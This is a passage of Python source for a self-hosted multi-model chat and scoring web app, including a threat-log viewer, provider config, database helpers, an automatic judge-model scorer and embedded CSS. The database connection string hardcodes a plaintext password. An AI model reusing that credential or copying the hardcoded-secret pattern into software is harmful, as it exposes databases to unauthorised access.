['ISP', e.isp], ['Org', e.org], ['ASN', e.asn],
['City', (e.city||'?')+', '+(e.country||'?')],
['Proxy', e.is_proxy?'YES':'No'], ['Hosting', e.is_hosting?'YES':'No'],
['Confidence', ((e.confidence||0)*100).toFixed(0)+'%'],
['Automated', e.likely_automated?'YES':'No'],
['Blocklists', (e.blocklist_count||0)+'/'+(e.blocklist_total||0)],
['Log Entries', e.log_count||0],
['Scanned', e.enriched_at ? new Date(e.enriched_at).toLocaleString() : '?'],
['Updated', e.updated_at ? new Date(e.updated_at).toLocaleString() : '?']
];
fields.forEach(function(f) {
var box = document.createElement('div');
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
label.textContent = f[0]+': ';
var val = document.createElement('span');
val.style.color = (f[0]==='Proxy'&&e.is_proxy)||(f[0]==='Hosting'&&e.is_hosting)||(f[0]==='Automated'&&e.likely_automated) ? '#e05252' : '#e8e6e3';
val.textContent = f[1];
box.appendChild(label); box.appendChild(val); grid.appendChild(box);
});
detail.appendChild(grid);
if (e.pattern) {
var pat = document.createElement('div');
pat.style.cssText = 'margin-top:6px;color:#c084fc;font-size:10px';
pat.textContent = 'Pattern: ' + e.pattern; detail.appendChild(pat);
}
if (e.recommendation) {
var rec = document.createElement('div');
rec.style.cssText = 'margin-top:4px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;font-size:10px';
rec.textContent = 'Rec: ' + e.recommendation; detail.appendChild(rec);
}
if (e.indicators && e.indicators.length) {
var ind = document.createElement('div');
ind.style.cssText = 'margin-top:4px;color:#7a7872;font-size:9px';
ind.textContent = 'Indicators: ' + e.indicators.join(' | '); detail.appendChild(ind);
}
} else {
detail.style.display = 'none';
}
};
table.appendChild(row);
table.appendChild(detail);
});
view.appendChild(table);
} catch(e) {
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
view.appendChild(err);
}
}
loadLogs();
setInterval(function() { if (currentSource !== 'runs' && currentSource !== 'threats' && currentSource !== 'shame') loadLogs(); }, 10000);
</script>
</body></html>"""
CONFIG_PATH = "/root/llm_team_config.json"
DEFAULT_CONFIG = {
"providers": {
"ollama": {"enabled": True, "base_url": "http://localhost:11434", "timeout": 300},
"openrouter": {"enabled": False, "base_url": "https://openrouter.ai/api/v1", "api_key": "", "timeout": 120},
"openai": {"enabled": False, "base_url": "https://api.openai.com/v1", "api_key": "", "timeout": 120},
"anthropic": {"enabled": False, "base_url": "https://api.anthropic.com/v1", "api_key": "", "timeout": 120},
},
"disabled_models": [],
"cloud_models": [],
"timeouts": {"global": 300, "per_model": {}},
}
def load_dotenv():
for p in ["/root/.env", "/home/profit/.env"]:
if os.path.exists(p):
with open(p) as f:
for line in f:
line = line.strip()
if line and not line.startswith("#") and "=" in line:
k, v = line.split("=", 1)
os.environ.setdefault(k.strip(), v.strip())
load_dotenv()
def load_config():
if os.path.exists(CONFIG_PATH):
with open(CONFIG_PATH) as f:
cfg = json.load(f)
# merge any missing defaults
for k, v in DEFAULT_CONFIG.items():
cfg.setdefault(k, v)
for k, v in DEFAULT_CONFIG["providers"].items():
cfg["providers"].setdefault(k, v)
return cfg
return json.loads(json.dumps(DEFAULT_CONFIG))
def save_config(cfg):
with open(CONFIG_PATH, "w") as f:
json.dump(cfg, f, indent=2)
def get_api_key(provider_name):
cfg = load_config()
prov = cfg["providers"].get(provider_name, {})
key = prov.get("api_key", "")
if key:
return key
env_map = {"openrouter": "OPENROUTER_API_KEY", "openai": "OPENAI_API_KEY", "anthropic": "ANTHROPIC_API_KEY"}
return os.environ.get(env_map.get(provider_name, ""), "")
DB_DSN = "dbname=knowledge_base user=kbuser password=IPbLBA0EQI8u4TeM2YZrbm1OAy5nSwqC host=localhost"
def get_db():
return psycopg2.connect(DB_DSN)
def save_run(mode, prompt, config_data, responses):
models = list({r.get("model", "") for r in responses if r.get("model")})
run_id = None
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"INSERT INTO team_runs (mode, prompt, config, responses, models_used) VALUES (%s, %s, %s, %s, %s) RETURNING id",
(mode, prompt, json.dumps(config_data), json.dumps(responses), models)
)
run_id = cur.fetchone()[0]
conn.commit()
except Exception as e:
print(f"[DB] save_run error: {e}")
if run_id and responses:
threading.Thread(target=_auto_score_run, args=(run_id, mode, prompt, responses), daemon=True).start()
return run_id
# ─── AUTO-SCORING ENGINE ─────────────────────────────────────
_SCORE_MODEL = "qwen2.5:latest"
def _auto_score_run(run_id, mode, prompt, responses):
"""Background: auto-score a completed run via judge model."""
try:
# Pick the longest non-error response as representative
candidates = [r for r in responses if r.get("role") != "error" and r.get("text")]
if not candidates:
return
best = max(candidates, key=lambda r: len(r.get("text", "")))
text = best["text"][:3000]
judge_prompt = (
f"Rate the quality of this AI response on a scale of 1-10.\n"
f"Consider: relevance to the prompt, completeness, accuracy, clarity, usefulness.\n\n"
f"PROMPT: {prompt[:500]}\n\n"
f"MODE: {mode}\n\n"
f"RESPONSE:\n{text}\n\n"
f"Return ONLY a JSON object: {{\"score\": N, \"reason\": \"one sentence\"}}"
)
judgment = query_model(_SCORE_MODEL, judge_prompt)
# Parse score
score = None
try:
j_start = judgment.find("{")
j_end = judgment.rfind("}") + 1
if j_start >= 0 and j_end > j_start:
parsed = json.loads(judgment[j_start:j_end])
score = float(parsed.get("score", 0))
except Exception:
pass
if score is None:
m = re.search(r'\b([1-9]|10)\b', judgment)
score = float(m.group(1)) if m else None
if score is None or score < 1 or score > 10:
return
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"UPDATE team_runs SET quality_score = %s, score_method = 'auto', score_metadata = %s WHERE id = %s AND (score_method IS NULL OR score_method = 'auto')",
(score, json.dumps({"judge": _SCORE_MODEL, "judgment": judgment[:500], "scored_model": best.get("model", ""), "reason": judgment[:200]}), run_id)
)
conn.commit()
print(f"[SCORE] run {run_id} scored {score}/10 by {_SCORE_MODEL}")
except Exception as e:
print(f"[SCORE] auto-score error for run {run_id}: {e}")
HTML = r"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LLM Team</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root {
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
--glow: rgba(226,181,90,0.06);
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: 'Inter', -apple-system, sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
.vignette { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: radial-gradient(ellipse at center, transparent 40%, rgba(0,0,0,0.5) 100%); }
.container { max-width: 1440px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
header h1 span { color: var(--accent); }
header .badge { background: rgba(0,0,0,0.3); border: 2px solid var(--border); padding: 4px 12px; border-radius: 2px; font-size: 10px; color: var(--text2); font-weight: 600; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(10px); }
header .badge .dot { display: inline-block; width: 6px; height: 6px; border-radius: 50%; background: var(--green); margin-right: 6px; vertical-align: middle; box-shadow: 0 0 8px var(--green); animation: pulse-dot 2s ease-in-out infinite; }
@keyframes pulse-dot { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
.grid { display: grid; grid-template-columns: 420px 1fr; gap: 18px; align-items: start; }
.panel { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; backdrop-filter: blur(16px); position: relative; }
.panel::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
.panel h2 { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin-bottom: 14px; font-weight: 600; }
.mode-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 5px; margin-bottom: 16px; }
.mode-tab { padding: 8px 6px; background: rgba(0,0,0,0.3); border: 2px solid transparent; border-radius: 2px; color: var(--text2); cursor: pointer; text-align: center; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'Inter', sans-serif; }
.mode-tab:hover { border-color: var(--accent); color: var(--text); background: var(--glow); }
.mode-tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); box-shadow: 0 0 16px rgba(226,181,90,0.08), inset 0 1px 0 rgba(226,181,90,0.1); }
.mode-tab small { display: block; font-weight: 400; font-size: 9px; margin-top: 2px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; }
.mode-tab.crazy { background: linear-gradient(135deg, rgba(20,5,35,0.8), rgba(40,15,60,0.8)); border-color: rgba(168,85,247,0.2); }
.mode-tab.crazy:hover { border-color: #a855f7; }
.mode-tab.crazy.active { background: linear-gradient(135deg, rgba(40,15,60,0.9), rgba(65,25,95,0.9)); border-color: #a855f7; color: #c084fc; box-shadow: 0 0 16px rgba(168,85,247,0.12); }
.model-list { display: flex; flex-direction: column; gap: 4px; margin-bottom: 14px; }
.model-card { display: flex; align-items: center; gap: 10px; padding: 7px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; transition: all 0.15s; user-select: none; }
.model-card:hover { border-color: rgba(226,181,90,0.3); }
.model-card.selected { border-color: var(--accent); background: var(--glow); }
.model-card .check { width: 16px; height: 16px; border: 2px solid var(--border); border-radius: 1px; display: flex; align-items: center; justify-content: center; font-size: 10px; flex-shrink: 0; transition: all 0.15s; }
.model-card.selected .check { background: var(--accent); border-color: var(--accent); color: #08090c; }
.model-card .info { flex: 1; min-width: 0; }
.model-card .name { font-weight: 600; font-size: 12px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.model-card .meta { font-size: 10px; color: var(--text2); font-family: 'JetBrains Mono', monospace; }
.prov-badge { font-size: 8px; padding: 2px 6px; border-radius: 1px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.8px; font-family: 'JetBrains Mono', monospace; border: 1px solid; }
.prov-badge.ollama { background: rgba(74,222,128,0.08); color: var(--green); border-color: rgba(74,222,128,0.2); }
.prov-badge.openrouter { background: rgba(91,156,245,0.08); color: var(--blue); border-color: rgba(91,156,245,0.2); }
.prov-badge.openai { background: rgba(226,181,90,0.08); color: var(--accent2); border-color: rgba(226,181,90,0.2); }
.prov-badge.anthropic { background: rgba(236,72,153,0.08); color: #ec4899; border-color: rgba(236,72,153,0.2); }
.config-section { margin-bottom: 10px; }
.config-row { display: flex; gap: 8px; align-items: center; margin-bottom: 6px; font-size: 12px; }
.config-row label { width: 90px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
.config-row select, .config-row input { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 6px 8px; font-size: 12px; }
.config-row select option, select option { background: #1a1d23; color: #e8e6e3; }
.config-row select:focus, .config-row input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
.pipeline-step { display: flex; align-items: center; gap: 8px; padding: 7px; margin-bottom: 4px; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 2px; font-size: 12px; }
.pipeline-step .step-num { width: 22px; height: 22px; background: var(--accent); color: #08090c; border-radius: 2px; display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; flex-shrink: 0; font-family: 'JetBrains Mono', monospace; }
.pipeline-step select, .pipeline-step input { background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 6px; font-size: 11px; }
.pipeline-step input { flex: 1; }
.pipeline-step .remove-step { background: none; border: none; color: var(--red); cursor: pointer; font-size: 14px; padding: 0 4px; opacity: 0.6; transition: opacity 0.15s; }
.pipeline-step .remove-step:hover { opacity: 1; }
.add-step-btn { width: 100%; padding: 7px; background: transparent; border: 2px dashed var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; margin-bottom: 14px; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
.add-step-btn:hover { border-color: var(--accent); color: var(--accent); }
.prompt-area { width: 100%; min-height: 90px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); padding: 14px; font-size: 13px; font-family: 'Inter', sans-serif; resize: vertical; margin-bottom: 10px; line-height: 1.5; }
.prompt-area:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 0 20px rgba(226,181,90,0.06); }
.prompt-area::placeholder { color: var(--text2); opacity: 0.5; font-family: 'JetBrains Mono', monospace; font-size: 12px; }
.run-btn { width: 100%; padding: 12px; background: var(--accent); color: #08090c; border: none; border-radius: 2px; font-size: 13px; font-weight: 700; cursor: pointer; transition: all 0.15s; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
.run-btn:hover { background: var(--accent2); box-shadow: 0 0 24px rgba(226,181,90,0.2), 0 0 60px rgba(226,181,90,0.06); transform: translateY(-1px); }
.run-btn:active { transform: translateY(0); }
.run-btn:disabled { opacity: 0.3; cursor: not-allowed; filter: none; transform: none; box-shadow: none; }
.run-btn { margin-bottom: 8px; }
.output-area { display: flex; flex-direction: column; gap: 10px; padding-bottom: 40px; }
.output-card { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; overflow: hidden; backdrop-filter: blur(8px); }
.output-card .card-header { display: flex; align-items: center; gap: 8px; padding: 10px 14px; border-bottom: 2px solid var(--border); font-size: 12px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
.output-card .card-header .dot { width: 8px; height: 8px; border-radius: 1px; flex-shrink: 0; }
.output-card .card-header .role-tag { margin-left: auto; font-size: 9px; font-weight: 600; color: var(--text2); background: rgba(0,0,0,0.4); padding: 2px 8px; border-radius: 1px; border: 1px solid var(--border); text-transform: uppercase; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; }
.output-card .card-body { padding: 14px; font-size: 13px; line-height: 1.7; white-space: pre-wrap; max-height: 500px; overflow-y: auto; }
.synthesis-card { border-color: var(--accent); }
.synthesis-card .card-header { background: var(--glow); }
.synthesis-card::before { content: ''; position: absolute; top: -1px; left: 0; right: 0; height: 1px; background: var(--accent); opacity: 0.3; }
.error-card { border-color: var(--red); }
.error-card .card-header { background: rgba(224,82,82,0.08); }
.error-card .card-body { color: var(--red); font-family: 'JetBrains Mono', monospace; font-size: 12px; }
.error-card .error-link { display: block; padding: 6px 14px 10px; font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 1px; color: var(--red); opacity: 0.6; text-decoration: none; }
.error-card .error-link:hover { opacity: 1; text-decoration: underline; }
.crazy-card { border-color: #a855f7; }
.crazy-card .card-header { background: rgba(168,85,247,0.08); }
.status-bar { display: flex; align-items: center; gap: 8px; padding: 10px 14px; background: rgba(0,0,0,0.3); border: 2px solid var(--border); border-radius: 2px; font-size: 11px; color: var(--text2); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
.spinner { width: 14px; height: 14px; border: 2px solid var(--border); border-top-color: var(--accent); border-radius: 50%; animation: spin 0.7s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }
.progress-panel { background: rgba(8,9,12,0.97); border: 2px solid #d946ef; border-radius: 2px; padding: 12px 14px; position: sticky; top: 0; z-index: 50; backdrop-filter: blur(20px); margin-bottom: 10px; transition: opacity 2s, box-shadow 0.3s; box-shadow: 0 4px 24px rgba(217,70,239,0.15), 0 0 40px rgba(0,0,0,0.5); }
.progress-panel.done { border-color: #4ade80; box-shadow: 0 2px 16px rgba(74,222,128,0.15); }
.progress-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 8px; }
.progress-header .prog-mode { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 1.5px; color: #d946ef; font-weight: 700; }
.progress-header .prog-time { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #f0abfc; letter-spacing: 0.5px; }
.progress-track { height: 8px; background: rgba(0,0,0,0.5); border: 1px solid rgba(217,70,239,0.3); border-radius: 2px; overflow: hidden; margin-bottom: 6px; }
.progress-fill { height: 100%; background: linear-gradient(90deg, #d946ef, #a855f7, #22d3ee); transition: width 0.4s ease; box-shadow: 0 0 14px rgba(217,70,239,0.4); position: relative; }
.progress-fill::after { content: ''; position: absolute; inset: 0; background: linear-gradient(90deg, transparent 60%, rgba(255,255,255,0.2)); animation: progress-shimmer 2s ease-in-out infinite; }
@keyframes progress-shimmer { 0%,100% { transform: translateX(-100%); } 50% { transform: translateX(100%); } }
.progress-steps { display: flex; gap: 4px; margin-bottom: 6px; }
.progress-step { flex: 1; height: 4px; background: rgba(217,70,239,0.15); border-radius: 1px; transition: background 0.3s; }
.progress-step.done { background: linear-gradient(90deg, #d946ef, #4ade80); }
.progress-step.active { background: #d946ef; animation: step-pulse 1s ease-in-out infinite; box-shadow: 0 0 6px rgba(217,70,239,0.4); }
@keyframes step-pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.4; } }
.progress-detail { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #e0b0ff; display: flex; justify-content: space-between; }
.progress-detail .prog-substep { max-width: 70%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.progress-detail .prog-stats { color: #c084fc; opacity: 0.7; }
.prog-metrics { display: grid; grid-template-columns: repeat(auto-fit, minmax(90px, 1fr)); gap: 6px; margin-top: 8px; padding-top: 8px; border-top: 1px solid rgba(217,70,239,0.15); }
.prog-metric { text-align: center; padding: 4px 2px; }
.prog-metric .mv { font-family: 'JetBrains Mono', monospace; font-size: 14px; font-weight: 700; color: #f0abfc; line-height: 1; }
.prog-metric .ml { font-family: 'JetBrains Mono', monospace; font-size: 7px; text-transform: uppercase; letter-spacing: 1.5px; color: rgba(217,70,239,0.5); margin-top: 3px; }
.prog-metric.highlight .mv { color: #4ade80; }
.prog-metric.warn .mv { color: #f59e0b; }
.prog-metric.err .mv { color: #e05252; }
.phase-label { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: #4ade80; padding: 12px 0 6px; opacity: 0.8; display: flex; align-items: center; gap: 8px; }
.phase-label::before { content: ''; flex: 0 0 12px; height: 2px; background: #4ade80; opacity: 0.6; }
.phase-label::after { content: ''; flex: 1; height: 1px; background: linear-gradient(90deg, rgba(74,222,128,0.3), transparent); }
.sample-prompts { display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0; }
.sample-chip { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 2px; padding: 6px 12px; font-size: 11px; color: var(--text2); cursor: pointer; transition: all 0.15s; line-height: 1.4; max-width: 100%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.sample-chip:hover { border-color: var(--accent); color: var(--accent); background: var(--glow); }
.sample-chip .chip-level { font-size: 8px; font-weight: 700; text-transform: uppercase; margin-right: 6px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; letter-spacing: 1px; }
.empty-state { text-align: center; padding: 120px 20px; color: var(--text2); }
.empty-state .icon { font-size: 28px; margin-bottom: 16px; opacity: 0.15; letter-spacing: 8px; }
.empty-state p { font-size: 12px; line-height: 1.6; max-width: 280px; margin: 0 auto; font-family: 'JetBrains Mono', monospace; }
.empty-state p strong { color: var(--accent); font-weight: 600; }
.output-area { min-height: 400px; }
.mode-desc { background: rgba(0,0,0,0.25); border-left: 2px solid var(--accent); border-radius: 0; padding: 10px 14px; font-size: 11px; color: var(--text2); margin-bottom: 14px; line-height: 1.5; font-family: 'JetBrains Mono', monospace; }
.left-scroll { max-height: calc(100vh - 72px); overflow-y: auto; display: flex; flex-direction: column; gap: 12px; }
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.18); border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: rgba(226,181,90,0.35); }
::-webkit-scrollbar-corner { background: transparent; }
.left-scroll::-webkit-scrollbar { width: 4px; }
.output-card .card-body::-webkit-scrollbar { width: 4px; }
.m-toggle { display: none; }
.m-collapse { display: block !important; }
/* Composer overlay mode */
.composer-active .grid { display: block; }
.composer-active .left-scroll { position: fixed; inset: 0; z-index: 100; background: var(--bg); display: flex; flex-direction: column; align-items: center; justify-content: flex-start; padding: 60px 20px 40px; overflow-y: auto; max-height: 100vh; }
.composer-active .left-scroll > .panel,
.composer-active .left-scroll > .m-collapse { width: 100%; max-width: 640px; }
.composer-active .left-scroll > .m-toggle { width: 100%; max-width: 640px; }
.composer-active .grid > .panel:last-child { display: none; }
.composer-close { display: none; position: fixed; top: 16px; right: 20px; z-index: 110; background: none; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); font-size: 18px; width: 32px; height: 32px; cursor: pointer; font-family: 'JetBrains Mono', monospace; transition: all 0.15s; line-height: 1; }
.composer-close:hover { border-color: var(--accent); color: var(--accent); }
.composer-active .composer-close { display: block; }
/* Output-focused mode (after run) */
.output-focused .grid { grid-template-columns: 1fr; }
.output-focused .left-scroll { display: none; }
.output-focused .grid > .panel:last-child { width: 100%; }
.new-prompt-btn { display: none; z-index: 90; background: var(--accent); color: #08090c; border: none; border-radius: 2px; padding: 5px 14px; font-size: 10px; font-weight: 700; cursor: pointer; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; transition: all 0.2s; }
.new-prompt-btn:hover { opacity: 0.85; }
.output-focused .new-prompt-btn { display: inline-block; }
/* Theme adjustments for composer */
@media (max-width: 900px) { .grid { grid-template-columns: 1fr; } .composer-active .left-scroll { padding: 40px 12px 30px; } }
@media (max-width: 768px) { .m-toggle { display: flex; } .m-collapse { display: none !important; } .m-collapse.open { display: block !important; } .composer-active .left-scroll { padding: 30px 10px 20px; } }
.card-actions { display: flex; gap: 4px; padding: 6px 14px 10px; }
.card-act { background: none; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); font-size: 9px; padding: 3px 10px; cursor: pointer; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
.card-act:hover { border-color: var(--accent); color: var(--accent); }
.card-act.copied { border-color: var(--green); color: var(--green); }
.repipe-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.75); z-index: 200; display: none; align-items: center; justify-content: center; backdrop-filter: blur(4px); }
.repipe-overlay.open { display: flex; }
.repipe-modal { background: rgba(14,16,22,0.95); border: 2px solid var(--border); border-radius: 2px; width: 700px; max-width: 90vw; max-height: 85vh; display: flex; flex-direction: column; overflow: hidden; backdrop-filter: blur(20px); }
.repipe-header { padding: 14px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; }
.repipe-header h3 { font-size: 14px; flex: 1; font-family: 'JetBrains Mono', monospace; }
.repipe-header .repipe-close { background: none; border: none; color: var(--text2); font-size: 18px; cursor: pointer; }
.repipe-body { padding: 14px 18px; overflow-y: auto; flex: 1; }
.repipe-text { background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; padding: 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 300px; overflow-y: auto; margin-bottom: 14px; color: var(--text); }
.repipe-text::-webkit-scrollbar { width: 3px; }
.repipe-text::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
.repipe-actions { display: flex; flex-wrap: wrap; gap: 6px; margin-bottom: 14px; }
.repipe-btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; }
.repipe-btn:hover { border-color: var(--accent); color: var(--accent); }
.repipe-btn.primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
.repipe-btn.primary:hover { background: var(--accent2); }
.repipe-section { font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin: 12px 0 6px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
.repipe-modes { display: flex; flex-wrap: wrap; gap: 4px; }
.repipe-mode { padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text2); cursor: pointer; font-size: 11px; transition: all 0.15s; }
.repipe-mode:hover { border-color: var(--accent); color: var(--text); }
.repipe-mode.sel { border-color: var(--accent); background: var(--glow); color: var(--accent); }
.history-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 90; display: none; backdrop-filter: blur(2px); }
.history-overlay.open { display: block; }
.history-panel { position: fixed; top: 0; right: 0; width: 480px; height: 100vh; background: rgba(14,16,22,0.95); border-left: 2px solid var(--border); z-index: 100; transform: translateX(100%); transition: transform 0.25s; overflow-y: auto; display: flex; flex-direction: column; backdrop-filter: blur(20px); }
.history-panel.open { transform: translateX(0); }
.history-panel::-webkit-scrollbar { width: 3px; }
.history-panel::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
.hp-header { padding: 16px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; flex-shrink: 0; }
.hp-header h2 { font-size: 14px; font-weight: 700; flex: 1; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
.hp-close { background: none; border: none; color: var(--text2); font-size: 20px; cursor: pointer; padding: 4px; }
.hp-close:hover { color: var(--text); }
.hp-list { flex: 1; overflow-y: auto; padding: 8px; }
.hp-item { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; padding: 12px; margin-bottom: 6px; cursor: pointer; transition: border-color 0.15s; }
.hp-item:hover { border-color: var(--accent); }
.hp-item .hp-mode { font-size: 9px; text-transform: uppercase; letter-spacing: 1.5px; color: var(--accent); font-weight: 700; font-family: 'JetBrains Mono', monospace; }
.hp-item .hp-prompt { font-size: 13px; margin: 4px 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.hp-item .hp-meta { font-size: 10px; color: var(--text2); display: flex; gap: 10px; font-family: 'JetBrains Mono', monospace; }
.hp-detail { padding: 12px 18px; }
.hp-detail .hp-back { background: none; border: none; color: var(--accent); cursor: pointer; font-size: 11px; margin-bottom: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
.hp-detail .hp-actions { display: flex; gap: 6px; margin-bottom: 12px; }
.hp-detail .hp-btn { padding: 5px 12px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
.hp-detail .hp-btn:hover { border-color: var(--accent); }
.hp-detail .hp-btn-del { border-color: var(--red); color: var(--red); }
.hp-resp { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 6px; overflow: hidden; }
.hp-resp-header { padding: 8px 12px; border-bottom: 2px solid var(--border); font-size: 11px; font-weight: 600; display: flex; gap: 6px; align-items: center; font-family: 'JetBrains Mono', monospace; }
.hp-resp-body { padding: 10px 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 200px; overflow-y: auto; }
@media (max-width: 768px) {
.container { padding: 10px; }
header { padding: 10px 0; margin-bottom: 10px; flex-wrap: wrap; gap: 8px; }
header h1 { font-size: 16px; }
header .badge { font-size: 9px; padding: 3px 8px; }
header nav { gap: 3px; }
header nav a, header nav button, header nav span { font-size: 10px !important; padding: 3px 6px !important; }
.grid { grid-template-columns: 1fr; }
.grid > .left-scroll { order: 2; max-height: none; }
.grid > .panel:last-child { order: 1; }
.left-scroll { display: flex; flex-direction: column; gap: 8px; }
.left-scroll > .panel:first-child { order: 2; }
.left-scroll > .panel:last-child { order: 1; }
.m-toggle { display: flex; align-items: center; gap: 8px; padding: 10px; background: var(--surface); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; margin-bottom: 8px; font-size: 12px; font-weight: 700; color: var(--accent); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(16px); }
.m-toggle::after { content: ''; margin-left: auto; width: 0; height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-top: 6px solid var(--text2); transition: transform 0.2s; }
.m-toggle.open::after { transform: rotate(180deg); }
.m-collapse { display: none; }
.m-collapse.open { display: block; }
.mode-grid { grid-template-columns: repeat(3, 1fr); gap: 4px; margin-bottom: 10px; }
.mode-tab { padding: 6px 3px; font-size: 10px; }
.mode-tab small { font-size: 7px; }
.model-card { padding: 6px 8px; }
.model-card .name { font-size: 11px; }
.prompt-area { min-height: 60px; font-size: 14px; }
.run-btn { padding: 14px; font-size: 14px; }
.output-card .card-body { font-size: 13px; max-height: 600px; }
.card-actions { flex-wrap: wrap; }
